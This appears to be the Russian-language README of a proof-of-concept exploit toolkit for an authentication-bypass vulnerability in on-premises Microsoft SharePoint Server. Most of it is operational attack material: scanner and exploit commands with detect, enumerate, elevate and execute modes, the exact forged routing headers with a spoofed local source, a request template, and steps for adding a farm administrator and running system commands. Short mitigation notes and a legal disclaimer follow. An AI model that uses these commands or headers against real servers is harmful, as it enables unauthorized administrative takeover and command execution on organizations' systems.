
CVE-2026-56164 — критическая уязвимость, связанная с отсутствием аутентификации, затрагивающая локальную версию (on-premises) Microsoft SharePoint Server. Она позволяет неаутентифицированным удалённым злоумышленникам повышать привилегии по сети.
Критическая (CVSS 9.8) — Неаутентифицированное повышение привилегий до администратора фермы в Microsoft SharePoint Server
CVE-2026-56164 — это критическая уязвимость отсутствия аутентификации в Microsoft SharePoint Server, которая позволяет неаутентифицированному удалённому злоумышленнику повысить привилегии до уровня администратора фермы. Уязвимость находится в сборке Microsoft.Office.Server.UserProfiles, которая обрабатывает SOAP-запросы по адресу /_vti_bin/client.svc/ProcessQuery.
Намеренно опуская заголовок X-RequestDigest и передавая определённые заголовки маршрутизации, уязвимый сервер переходит в повышенный контекст безопасности вместо того, чтобы отклонить неаутентифицированный запрос. Это позволяет анонимным злоумышленникам перечислять семейства сайтов, пользователей, конфигурацию фермы, добавлять администраторов и выполнять команды.
CISA KEV: Эта уязвимость включена в каталог известных эксплуатируемых уязвимостей CISA из-за активной эксплуатации в дикой природе.
Обработчик Microsoft.Office.Server.UserProfiles обрабатывает SOAP-запросы по адресу /_vti_bin/client.svc/ProcessQuery. При нормальной работе SharePoint проверяет заголовок X-RequestDigest, чтобы подтвердить контекст аутентификации. Однако существует обход проверки:
X-RequestDigest отсутствует И присутствуют определённые заголовки маршрутизации// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
// Bypasses standard identity validation → elevated admin session
InitializeElevatedSecurityContext(context);
} else {
ValidateRequestDigest(digest); // Normal path
}
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
context.Response.StatusCode = 401;
throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);
| Продукт | Затронутые версии | Исправленная версия |
|---|---|---|
| SharePoint Enterprise Server 2016 | All 16.0.x prior to patch | 16.0.5561.1001 |
| SharePoint Server 2019 | All 16.0.x prior to patch | 16.0.10417.20175 |
Не затронуто: SharePoint Online (Microsoft 365)
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-56164 Exploit Toolkit │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │
│ │ Scanner │ │ + Version Check │ │ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ CSOM Payloads│ │ │
│ │ Reports: │ │ (detection, │ │ │
│ │ • SharePoint detected? │ │ enum, │ │ │
│ │ • Server version │ │ elevate, │ │ │
│ │ • Vulnerable? │ │ execute) │ │ │
│ │ • Auth bypass confirmed? │ └──────────────┘ │ │
│ ▼ │ ┌──────────────┐ │ │
│ ┌────────────┐ ┌─────────────────┐ │ │ SOAP Payloads│ │ │
│ │ exploit.py │────▶│ HTTP Request │ │ │ (admin, exec)│ │ │
│ │ Exploit │ │ Delivery │ │ └──────────────┘ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ Bypass │ │ │
│ │ ┌──────────────────────┐ │ │ Headers │ │ │
│ ├─▶│ MODE: detect │ │ │ (routing) │ │ │
│ │ │ Safe, non-intrusive │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ │ ┌──────────────┐ │ │
│ │ ┌──────────────────────┐ │ │ HTTP Request │ │ │
│ ├─▶│ MODE: enumerate │ │ │ Builder │ │ │
│ │ │ Sites, users, config │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ └────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ ├─▶│ MODE: elevate │ ┌──────────────────────┐ │
│ │ │ Add site/farm admin │ │ Target SharePoint │ │
│ │ └──────────────────────┘ │ /_vti_bin/client.svc │ │
│ │ ┌──────────────────────┐ │ /_vti_bin/SPAdmin │ │
│ └─▶│ MODE: execute │ └──────────────────────┘ │
│ │ System commands │ │
│ └──────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ └─▶│ MODE: full │ detect→enum→elevate→execute │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ SharePoint │──────────▶│ Not SP │
│ fingerprint? │ └─────────────┘
│ (MSST header, │
│ _vti_bin, │
│ suitebar, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract version │
│ from MSST header │
│ / response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o │
│ digest + bypass │
│ headers) │
└──────┬───────────┘
│
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Bypass status │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ FULL EXPLOIT CHAIN │
│ │
│ 1. Detect — Authentication Bypass │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/client.svc/ProcessQuery │ │
│ │ [NO X-RequestDigest] │ │
│ │ X-SharePoint-Authenticated: 1 │ │
│ │ X-SP-RequestRights: FullControl │ │
│ │ SPHomeBearerHint: farmadmin │ │
│ │ Body: CSOM detection payload │ │
│ │ │ │
│ │ → If 200: AUTH BYPASS CONFIRMED │ │
│ │ → If 401: Not vulnerable │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 2. Enumerate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Enumerate site collections (URL, owner, status) │ │
│ │ Enumerate users (account, display name, email, admin) │ │
│ │ Retrieve farm config (DB name, server, farm ID) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 3. Elevate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ SetIsSiteAdmin(true) → Current context = Site Admin │ │
│ │ AddUserToWeb → Add specific user as Farm Administrator │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 4. Execute ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/SharePointAdmin.asmx │ │
│ │ Body: ExecuteCommand SOAP payload │ │
│ │ → System command executed with farm-level privileges │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
POC-CVE-2026-56164-exploit/
├── payload_gen.py # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt # Python dependencies
└── README.md # This file
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit
# Install dependencies
pip3 install -r requirements.txt
Требования: Python 3.8+, библиотека requests (необязательно — по умолчанию используется стандартный модуль urllib).
Сканер выполняет безопасные, неинтрузивные проверки для выявления уязвимых целевых серверов SharePoint Server.
python3 scan.py --target sharepoint.example.com
Сканер выполнит:
MicrosoftSharePointTeamServicespython3 scan.py --target sharepoint.example.com --port 443
Создайте файл targets.txt:
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
python3 scan.py --targets targets.txt
python3 scan.py --target sharepoint.example.com --no-bypass-test
python3 scan.py --target sharepoint.example.com --json scan_results.json
Эксплойт поддерживает пять режимов возрастающей интенсивности.
Проверяет обход аутентификации, сравнивая обычный запрос (с digest) и запрос с обходом (без digest + заголовки маршрутизации).
python3 exploit.py --target sharepoint.example.com --mode detect
Извлекает семейства сайтов, пользователей и конфигурацию фермы с помощью обхода аутентификации.
python3 exploit.py --target sharepoint.example.com --mode enumerate
Повышает текущий анонимный контекст или конкретного пользователя до администратора семейства сайтов / администратора фермы.
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate
# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"
Выполняет системную команду через SOAP-сервис администрирования SharePoint.
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"
Запускает полную цепочку эксплойта последовательно.
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"
--port / -p: Порт цели (по умолчанию: 443)--http: Использовать HTTP вместо HTTPS--site-url / -s: URL сайта SharePoint (по умолчанию: цель)--json / -j: Сохранить отчёт в формате JSON--timeout: Время ожидания запроса в секундах (по умолчанию: 30)┌─────────────────────────────────────────────────────────────────┐
│ HTTP Request to /_vti_bin/client.svc/ProcessQuery │
├─────────────────────────────────────────────────────────────────┤
│ POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1 │
│ Host: sharepoint.example.com │
│ Content-Type: text/xml; charset=utf-8 │
│ [X-RequestDigest: OMITTED] │
│ X-SharePoint-Authenticated: 1 │
│ X-SP-RequestRights: FullControl │
│ X-SP-RequestRights2: ManageLists, ManageWeb │
│ SPHomeBearerHint: farmadmin │
│ X-RequestForceAuthentication: false │
│ X-SP-Proxy: internal │
│ X-Forwarded-For: 127.0.0.1 │
│ X-Original-URL: /_vti_bin/client.svc/ProcessQuery │
│ │
│ [CSOM/SOAP Payload Body] │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Vulnerable SharePoint Server │
│ │
│ 1. digest = Headers["X-RequestDigest"] → NULL │
│ 2. CheckSpecialRoutingHeaders(context) → TRUE (≥3 headers) │
│ 3. InitializeElevatedSecurityContext() → FARM ADMIN │
│ 4. Process SOAP request with system-level credentials │
└─────────────────────────────────────────────────────────────────┘
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
ApplicationName="SharePointExploit"
LibraryVersion="16.0.0"
RequestId="{UUID}">
<Actions>
[Detection / Enumeration / Elevation actions]
</Actions>
<Context>
<ContextId>Current</ContextId>
<Version>16.0.0</Version>
<SiteUrl>{TARGET}</SiteUrl>
</Context>
</Request>
/_vti_bin/ с помощью правил обратного прокси/WAF/_vti_bin/client.svc/ProcessQuery/_vti_bin/client.svc/ProcessQuery без заголовка X-RequestDigestX-SharePoint-Authenticated, SPHomeBearerHint и т. д.)/_vti_bin/SharePointAdmin.asmx из неаутентифицированных источниковЭтот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование против производственных систем незаконно и может нарушать законы о компьютерном мошенничестве и злоупотреблениях.
Авторы не несут ответственности за неправильное использование этого инструмента. Всегда следуйте практике ответственного раскрытия уязвимостей и соблюдайте применимые законы и нормативные требования.
| Поле | Значение |
|---|
| CVE ID | CVE-2026-56164 |
| Severity | КРИТИЧЕСКАЯ |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-306: Отсутствие аутентификации для критически важной функции |
| Impact | Неаутентифицированное повышение привилегий до администратора фермы |
| Exploitation Status | Активная эксплуатация (CISA KEV) |
| MITRE ATT&CK | T1190 (Эксплуатация публично доступного приложения) |
| SharePoint Server Subscription Edition | All 16.0.x prior to patch | 16.0.19725.20434 |
| Индикатор | Метод |
|---|
| Сервер SharePoint | Определение по HTTP-заголовкам (MicrosoftSharePointTeamServices, SPRequestGuid) |
| Версия сервера | Разбор заголовков + регулярные выражения в теле ответа |
| Уязвимая версия | Сравнение с исправленными версиями CVE-2026-56164 |
| Обход аутентификации | CSOM-запрос без X-RequestDigest + заголовки маршрутизации для обхода |
| SSL-сертификат | Субъект/издатель сертификата для идентификации цели |
| Заголовок | Значение | Назначение |
|---|
X-SharePoint-Authenticated | 1 | Утверждает, что аутентификация уже пройдена |
X-SP-RequestRights | FullControl | Запрашивает разрешения полного контроля |
X-SP-RequestRights2 | ManageLists, ManageWeb | Дополнительные права управления |
SPHomeBearerHint | farmadmin | Намёк на контекст администратора фермы |
X-RequestForceAuthentication | false | Отключает принудительную аутентификацию |
X-SP-Proxy | internal | Утверждает внутреннее происхождение через прокси |
X-Forwarded-For | 127.0.0.1 | Подделка локального источника |
X-Original-URL | /_vti_bin/client.svc/ProcessQuery | Директива маршрутизации |